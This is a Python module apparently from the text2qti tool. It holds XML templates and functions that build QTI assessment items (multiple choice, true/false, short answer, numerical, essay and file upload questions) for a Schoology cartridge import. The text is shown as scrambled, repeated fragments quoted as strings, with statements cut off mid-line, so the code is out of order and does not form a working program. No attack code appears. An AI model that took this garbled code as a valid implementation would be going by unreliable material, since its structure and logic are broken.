resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if", "<varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK =", "= ITEM_METADATA_ESSAY ITEM_PRESENTATION_MCTF = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material>", "('true_false_question', 'multiple_choice_question'): correct_choice = None for choice in question.choices: if", "choice in question.choices: varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml)) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal)))", "'''\\ </section> </assessment> </questestinterop> ''' GROUP_START = '''\\ <section ident=\"{ident}\"", "<vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar>", "http://opensource.org/licenses/BSD-3-Clause # from .quiz import Quiz, Question, GroupStart, GroupEnd, TextRegion", "<qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> <presentation> <material> <mattext texttype=\"text/html\">{text_html_xml}</mattext>", "= ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{answer_xml}</varequal>", "</item> ''' START_ITEM = '''\\ <item ident=\"{question_identifier}\" title=\"{question_title}\"> ''' END_ITEM", "ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK = ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK", "== 'short_answer_question': typechange = 'cc.fib.v0p1' elif question.type == 'multiple_answers_question': typechange", "question.choices: varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml)) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal)))", "</and> </or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition>", "group_title=question_or_delim.group.title_xml, pick=question_or_delim.group.pick, points_per_item=question_or_delim.group.points_per_question)) continue if isinstance(question_or_delim, GroupEnd): xml.append(GROUP_END) continue if", "texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT = '''\\ <itemfeedback ident=\"correct_fb\">", "ident=\"{ident}\"> <material> <mattext texttype=\"text/html\">{choice_html_xml}</mattext> </material> </response_label>''' ITEM_PRESENTATION_MULTANS = ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple')", "for choice in question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}'))", "<material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> </presentation> ''' ITEM_PRESENTATION_NUM = '''\\ <presentation>", "if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml)) varequal = []", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\">", "linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <or>", "is not None: xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) else: raise ValueError if question.type", "ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte>", "texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib fibtype=\"Decimal\"> <response_label ident=\"answer1\"/> </render_fib>", "</presentation> ''' ITEM_RESPROCESSING_START = '''\\ <resprocessing> <outcomes> <decvar maxvalue=\"100\" minvalue=\"0\"", "None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK else: if", "linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <and>", "varname=\"SCORE\" vartype=\"Decimal\"/> </outcomes> ''' ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar>", "</qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>0</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry></fieldentry> </qtimetadatafield> <qtimetadatafield>", "ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte>", "choice.correct: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}')) else: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal)))", "= ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\">", "is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'numerical_question':", "'multiple_answers_question'): for choice in question.choices: if choice.feedback_raw is not None:", "# http://opensource.org/licenses/BSD-3-Clause # from .quiz import Quiz, Question, GroupStart, GroupEnd,", "<varequal respident=\"response1\">{answer_xml}</varequal>''' ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK =", "<render_fib fibtype=\"Decimal\"> <response_label ident=\"answer1\"/> </render_fib> </response_str> </presentation> ''' ITEM_RESPROCESSING_START =", "elif question.type == 'essay_question': item_metadata = ITEM_METADATA_ESSAY original_answer_ids = f'text2qti_essay_{question.id}'", "if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM", "elif question.type == 'short_answer_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw", "== 'short_answer_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not", "''' ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback", "ITEM_PRESENTATION_SHORTANS = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\"", "correct_choice = choice break if correct_choice is None: raise TypeError", "</flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT = '''\\ <itemfeedback ident=\"general_incorrect_fb\"> <flow_mat> <material>", "question.type == 'multiple_answers_question': item_presentation_choice = ITEM_PRESENTATION_MULTANS_CHOICE item_presentation = ITEM_PRESENTATION_MULTANS else:", "('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): for choice in question.choices: if choice.feedback_raw", "''' TEXT = '''\\ <item ident=\"{ident}\" title=\"{text_title_xml}\"> <itemmetadata> <qtimetadata> <qtimetadatafield>", "fibtype=\"Decimal\"> <response_label ident=\"answer1\"/> </render_fib> </response_str> </presentation> ''' ITEM_RESPROCESSING_START = '''\\", "'''\\ <varequal respident=\"response1\">{ident}</varequal>''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT = '''\\ <not> <varequal respident=\"response1\">{ident}</varequal> </not>'''", "ident=\"{question_identifier}\" title=\"{question_title}\"> ''' END_ITEM = '''\\ </item> ''' ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM =", "'multiple_answers_question': item_presentation_choice = ITEM_PRESENTATION_MULTANS_CHOICE item_presentation = ITEM_PRESENTATION_MULTANS else: raise ValueError", "ITEM_PRESENTATION_MULTANS_CHOICE item_presentation = ITEM_PRESENTATION_MULTANS else: raise ValueError choices = '\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}',", "resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) else: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END)", "'''\\ <not> <varequal respident=\"response1\">{ident}</varequal> </not>''' ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK =", "GroupStart): xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}', group_title=question_or_delim.group.title_xml, pick=question_or_delim.group.pick, points_per_item=question_or_delim.group.points_per_question)) continue if isinstance(question_or_delim, GroupEnd): xml.append(GROUP_END)", "resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK)", "raise ValueError choices = '\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml) for c in question.choices)", "xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK) if question.correct_feedback_raw is None: if question.numerical_exact is None: item_resprocessing_num_set_correct", "in ('true_false_question', 'multiple_choice_question'): correct_choice = None for choice in question.choices:", "question.choices: if choice.correct: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}')) else: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not", "question.type == 'numerical_question': item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = f'text2qti_numerical_{question.id}' elif", "rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_ESSAY = '''\\ <presentation> <material>", "'''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib", "respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition>", "= '''\\ </resprocessing> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL = '''\\ <itemfeedback ident=\"general_fb\"> <flow_mat>", "''' GROUP_END = '''\\ </section> ''' TEXT = '''\\ <item", "= 'cc.fib.v0p1' elif question.type == 'multiple_answers_question': typechange = 'cc.multiple_response.v0p1' elif", "is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'multiple_answers_question':", "elif question.type == 'short_answer_question': typechange = 'cc.fib.v0p1' elif question.type ==", "if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type ==", "'essay_question': typechange = 'cc.essay.v0p1' else: typechange = question.type xml.append(item_metadata.format(question_type=typechange, points_possible=question.points_possible,", "= 'cc.essay.v0p1' else: typechange = question.type xml.append(item_metadata.format(question_type=typechange, points_possible=question.points_possible, original_answer_ids=original_answer_ids, assessment_question_identifierref=f'text2qti_question_ref_{question.id}'))", "if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type", "</section> ''' TEXT = '''\\ <item ident=\"{ident}\" title=\"{text_title_xml}\"> <itemmetadata> <qtimetadata>", "in question.choices: if choice.correct: correct_choice = choice break if correct_choice", "choice.correct: correct_choice = choice break if correct_choice is None: raise", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK = '''\\ <respcondition", "ident=\"general_incorrect_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL", "= '''\\ <section ident=\"{ident}\" title=\"{group_title}\"> <selection_ordering> <selection> <selection_number>{pick}</selection_number> <selection_extension> <points_per_item>{points_per_item}</points_per_item>", "varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition", "question.type xml.append(item_metadata.format(question_type=typechange, points_possible=question.points_possible, original_answer_ids=original_answer_ids, assessment_question_identifierref=f'text2qti_question_ref_{question.id}')) if question.type in ('true_false_question', 'multiple_choice_question',", "if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw", "<presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib> <response_label", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK", "= [] for choice in question.choices: varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml)) if question.correct_feedback_raw is", "'short_answer_question', 'multiple_answers_question', 'numerical_question', 'essay_question', 'file_upload_question'): if question.feedback_raw is not None:", "feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "<varequal respident=\"response1\">{num_exact}</varequal> <and> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar>", "choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml)) varequal = [] for", "<fieldentry>1</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> cc_profile </fieldlabel> <fieldentry> cc.exam.v0p1 </fieldentry> </qtimetadatafield>", "<material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib fibtype=\"Decimal\"> <response_label", "in question.choices) xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices)) elif question.type == 'short_answer_question': xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml)) elif", "continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL", "# Licensed under the BSD 3-Clause License: # http://opensource.org/licenses/BSD-3-Clause #", "</material> </flow_mat> </itemfeedback> ''' def assessment(*, quiz: Quiz, assessment_identifier: str,", "= ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = f'text2qti_numerical_{question.id}' elif question.type == 'essay_question': item_metadata", "<fieldentry>0</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry></fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield>", "resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'multiple_answers_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START)", "<varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition>", "ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <vargte", "if question.correct_feedback_raw is None: if question.numerical_exact is None: item_resprocessing_num_set_correct =", "''' ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar>", "c in question.choices) xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices)) elif question.type == 'short_answer_question': xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml))", "= choice break if correct_choice is None: raise TypeError resprocessing", "<NAME> # All rights reserved. # # Licensed under the", "<fieldentry>text_only_question</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>0</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry></fieldentry> </qtimetadatafield>", "'essay_question': xml.append(ITEM_RESPROCESSING_START) xml.append(ITEM_RESPROCESSING_ESSAY) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END)", "ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar", "[] for choice in question.choices: varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml)) if question.correct_feedback_raw is not", "in question.choices: if choice.correct: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}')) else: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is", "''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL = '''\\ <varequal respident=\"response1\">{answer_xml}</varequal>''' ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK", "ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition", "= '''\\ <item ident=\"{question_identifier}\" title=\"{question_title}\"> ''' END_ITEM = '''\\ </item>", "xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml)) else: raise ValueError if question.type in ('true_false_question', 'multiple_choice_question'): correct_choice", "elif question.type == 'multiple_answers_question': typechange = 'cc.multiple_response.v0p1' elif question.type ==", "= f'text2qti_essay_{question.id}' elif question.type == 'file_upload_question': item_metadata = ITEM_METADATA_UPLOAD original_answer_ids", "not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None:", "Quiz, Question, GroupStart, GroupEnd, TextRegion BEFORE_ITEMS = '''\\ <?xml version=\"1.0\"", "respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK = '''\\", "xml.append(ITEM_RESPROCESSING_ESSAY) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type", "None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK)", "xml.append(ITEM_RESPROCESSING_END) elif question.type == 'file_upload_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not", "title=\"{title}\"> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_maxattempts</fieldlabel> <fieldentry>1</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> cc_profile </fieldlabel>", "choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None:", "not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml)) if question.incorrect_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml)) if", "ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "utf-8 -*- # # Copyright (c) 2021, <NAME> # Copyright", "maxvalue=\"100\" minvalue=\"0\" varname=\"SCORE\" vartype=\"Decimal\"/> </outcomes> ''' ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK = '''\\ <respcondition", "vartype=\"Decimal\"/> </outcomes> ''' ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/>", "xml.append(item_metadata.format(question_type=typechange, points_possible=question.points_possible, original_answer_ids=original_answer_ids, assessment_question_identifierref=f'text2qti_question_ref_{question.id}')) if question.type in ('true_false_question', 'multiple_choice_question', 'multiple_answers_question'):", "<displayfeedback feedbacktype=\"Response\" linkrefid=\"general_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\">", "texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT = '''\\ <itemfeedback ident=\"general_incorrect_fb\">", "'''\\ <varequal respident=\"response1\">{answer_xml}</varequal>''' ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK", "resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) else: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) if", "answer_xml=choice.choice_xml)) varequal = [] for choice in question.choices: varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml)) if", "action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT = '''\\ <varequal respident=\"response1\">{ident}</varequal>''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT", "</or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> '''", "''' ITEM_RESPROCESSING_END = '''\\ </resprocessing> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL = '''\\ <itemfeedback", "<respcondition continue=\"No\"> <conditionvar> <and> {varequal} </and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar>", "<material> <mattext texttype=\"text/html\">{choice_html_xml}</mattext> </material> </response_label>''' ITEM_PRESENTATION_MULTANS = ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple') ITEM_PRESENTATION_MULTANS_CHOICE", "not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw is", "'''\\ <respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar>", "''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar", "question.type == 'file_upload_question': item_metadata = ITEM_METADATA_UPLOAD original_answer_ids = f'text2qti_upload_{question.id}' else:", "<presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_lid ident=\"response1\" rcardinality=\"Single\"> <render_choice> {choices}", "cc.exam.v0p1 </fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> qmd_assessmenttype </fieldlabel> <fieldentry> Examination </fieldentry>", "</conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition", "question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) else: raise ValueError if", "ValueError #Type Change for Schoology CC Import if question.type ==", "<itemfeedback ident=\"general_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> '''", "ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback 